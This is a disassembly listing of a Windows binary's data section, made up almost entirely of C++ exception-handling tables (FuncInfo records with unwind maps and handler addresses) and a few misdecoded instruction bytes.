dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444898
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
